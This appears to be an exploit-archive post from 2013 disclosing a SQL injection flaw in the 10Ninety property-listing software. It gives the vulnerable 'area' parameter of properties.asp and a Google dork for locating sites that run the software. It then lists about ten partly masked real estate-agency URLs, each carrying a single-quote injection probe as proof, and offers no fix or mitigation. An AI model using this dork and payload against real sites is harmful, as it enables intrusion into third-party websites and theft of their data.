Home / exploits

PDF

10Ninety Sql injection vulnerability

Posted on 31 August 2013

<pre>#********************************************************************************
# Exploit Title : 10Ninety Sql injection vulnerability
#
# Software link : www.10ninety.co.uk
#
# Exploit Author : Ashiyane Digital Security Team
#
# Tested on: Windows 7 , Linux
#
# Google Dork : intext:&quot;Powered By 10Ninety&quot;
#
# Date: 2013/08/30
#
--------------------------------------------------------------------
# - Location : [Target]/properties.asp?area=[Sql Injection]
#
# Proof:
#
# http://www.apXXXcycle.co.uk/properties.asp?area=1'
#
# http://www.affittoleXXng.com//properties.asp?area=1'
#
# http://www.assetXXXes.co.uk/properties.asp?area=1'
#
# http://www.alXXXeorge.com/properties.asp?area=1'
#
# http://www.cotsXXlettings.co.uk/properties.asp?area=1'
#
# http://www.fidelisXXrties.co.uk/properties.asp?area=1'
#
# http://www.gXXXproperty.com/properties.asp?area=1'
#
# http://www.sellecXXXs.co.uk/properties.asp?area=1'
#
# http://www.stuarXXXential.com/properties.asp?area=1'
#
# http://www.peXXpads.co.uk/properties.asp?area=1'
#
######################
discovered by : ACC3SS
######################
</pre>

 

TOP